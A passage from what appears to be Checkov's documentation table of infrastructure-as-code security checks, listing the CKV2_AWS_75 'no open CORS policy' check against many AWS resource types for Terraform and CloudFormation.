[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3735 | CKV2_AWS_75 | resource | aws_globalaccelerator_cross_account_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3736 | CKV2_AWS_75 | resource | aws_globalaccelerator_cross_account_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3737 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_accelerator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3738 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_accelerator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3739 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_endpoint_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3740 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_endpoint_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3741 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3742 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3743 | CKV2_AWS_75 | resource | aws_globalaccelerator_endpoint_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3744 | CKV2_AWS_75 | resource | aws_globalaccelerator_endpoint_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3745 | CKV2_AWS_75 | resource | aws_globalaccelerator_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3746 | CKV2_AWS_75 | resource | aws_globalaccelerator_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3747 | CKV2_AWS_75 | resource | aws_glue_catalog_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3748 | CKV2_AWS_75 | resource | aws_glue_catalog_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3749 | CKV2_AWS_75 | resource | aws_glue_catalog_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3750 | CKV2_AWS_75 | resource | aws_glue_catalog_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3751 | CKV2_AWS_75 | resource | aws_glue_catalog_table_optimizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3752 | CKV2_AWS_75 | resource | aws_glue_catalog_table_optimizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3753 | CKV2_AWS_75 | resource | aws_glue_classifier | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3754 | CKV2_AWS_75 | resource | aws_glue_classifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3755 | CKV2_AWS_75 | resource | aws_glue_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3756 | CKV2_AWS_75 | resource | aws_glue_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3757 | CKV2_AWS_75 | resource | aws_glue_crawler | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3758 | CKV2_AWS_75 | resource | aws_glue_crawler | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3759 | CKV2_AWS_75 | resource | aws_glue_data_catalog_encryption_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3760 | CKV2_AWS_75 | resource | aws_glue_data_catalog_encryption_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3761 | CKV2_AWS_75 | resource | aws_glue_data_quality_ruleset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3762 | CKV2_AWS_75 | resource | aws_glue_data_quality_ruleset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3763 | CKV2_AWS_75 | resource | aws_glue_dev_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3764 | CKV2_AWS_75 | resource | aws_glue_dev_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3765 | CKV2_AWS_75 | resource | aws_glue_job | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3766 | CKV2_AWS_75 | resource | aws_glue_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3767 | CKV2_AWS_75 | resource | aws_glue_ml_transform | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3768 | CKV2_AWS_75 | resource | aws_glue_ml_transform | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3769 | CKV2_AWS_75 | resource | aws_glue_partition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3770 | CKV2_AWS_75 | resource | aws_glue_partition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3771 | CKV2_AWS_75 | resource | aws_glue_partition_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3772 | CKV2_AWS_75 | resource | aws_glue_partition_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3773 | CKV2_AWS_75 | resource | aws_glue_registry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3774 | CKV2_AWS_75 | resource | aws_glue_registry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3775 | CKV2_AWS_75 | resource | aws_glue_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3776 | CKV2_AWS_75 | resource | aws_glue_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3777 | CKV2_AWS_75 | resource | aws_glue_schema | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3778 | CKV2_AWS_75 | resource | aws_glue_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3779 | CKV2_AWS_75 | resource | aws_glue_security_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3780 | CKV2_AWS_75 | resource | aws_glue_security_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3781 | CKV2_AWS_75 | resource | aws_glue_trigger | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3782 | CKV2_AWS_75 | resource | aws_glue_trigger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3783 | CKV2_AWS_75 | resource | aws_glue_user_defined_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3784 | CKV2_AWS_75 | resource | aws_glue_user_defined_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3785 | CKV2_AWS_75 | resource | aws_glue_workflow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3786 | CKV2_AWS_75 | resource | aws_glue_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3787 | CKV2_AWS_75 | resource | aws_grafana_license_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3788 | CKV2_AWS_75 | resource | aws_grafana_license_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3789 | CKV2_AWS_75 | resource | aws_grafana_role_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3790 | CKV2_AWS_75 | resource | aws_grafana_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3791 | CKV2_AWS_75 | resource | aws_grafana_workspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3792 | CKV2_AWS_75 | resource | aws_grafana_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3793 | CKV2_AWS_75 | resource | aws_grafana_workspace_api_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3794 | CKV2_AWS_75 | resource | aws_grafana_workspace_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3795 | CKV2_AWS_75 | resource | aws_grafana_workspace_saml_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3796 | CKV2_AWS_75 | resource | aws_grafana_workspace_saml_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3797 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3798 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3799 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account_token | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3800 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account_token | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3801 | CKV2_AWS_75 | resource | aws_guardduty_detector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3802 | CKV2_AWS_75 | resource | aws_guardduty_detector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3803 | CKV2_AWS_75 | resource | aws_guardduty_detector_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3804 | CKV2_AWS_75 | resource | aws_guardduty_detector_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3805 | CKV2_AWS_75 | resource | aws_guardduty_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3806 | CKV2_AWS_75 | resource | aws_guardduty_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3807 | CKV2_AWS_75 | resource | aws_guardduty_invite_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3808 | CKV2_AWS_75 | resource | aws_guardduty_invite_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3809 | CKV2_AWS_75 | resource | aws_guardduty_ipset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3810 | CKV2_AWS_75 | resource | aws_guardduty_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3811 | CKV2_AWS_75 | resource | aws_guardduty_malware_protection_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3812 | CKV2_AWS_75 | resource | aws_guardduty_malware_protection_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3813 | CKV2_AWS_75 | resource | aws_guardduty_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3814 | CKV2_AWS_75 | resource | aws_guardduty_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3815 | CKV2_AWS_75 | resource | aws_guardduty_member_detector_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3816 | CKV2_AWS_75 | resource | aws_guardduty_member_detector_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3817 | CKV2_AWS_75 | resource | aws_guardduty_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3818 | CKV2_AWS_75 | resource | aws_guardduty_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3819 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3820 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3821 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3822 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3823 | CKV2_AWS_75 | resource | aws_guardduty_publishing_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3824 | CKV2_AWS_75 | resource | aws_guardduty_publishing_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3825 | CKV2_AWS_75 | resource | aws_guardduty_threatintelset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3826 | CKV2_AWS_75 | resource | aws_guardduty_threatintelset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3827 | CKV2_AWS_75 | resource | aws_iam_access_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3828 | CKV2_AWS_75 | resource | aws_iam_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3829 | CKV2_AWS_75 | resource | aws_iam_account_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3830 | CKV2_AWS_75 | resource | aws_iam_account_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3831 | CKV2_AWS_75 | resource | aws_iam_account_password_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3832 | CKV2_AWS_75 | resource | aws_iam_account_password_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3833 | CKV2_AWS_75 | resource | aws_iam_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3834 | CKV2_AWS_75 | resource | aws_iam_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3835 | CKV2_AWS_75 | resource | aws_iam_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3836 | CKV2_AWS_75 | resource | aws_iam_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3837 | CKV2_AWS_75 | resource | aws_iam_group_policies_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3838 | CKV2_AWS_75 | resource | aws_iam_group_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3839 | CKV2_AWS_75 | resource | aws_iam_group_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3840 | CKV2_AWS_75 | resource | aws_iam_group_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3841 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3842 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3843 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachments_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3844 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3845 | CKV2_AWS_75 | resource | aws_iam_instance_profile | Ensure no open CORS policy | Terraform | 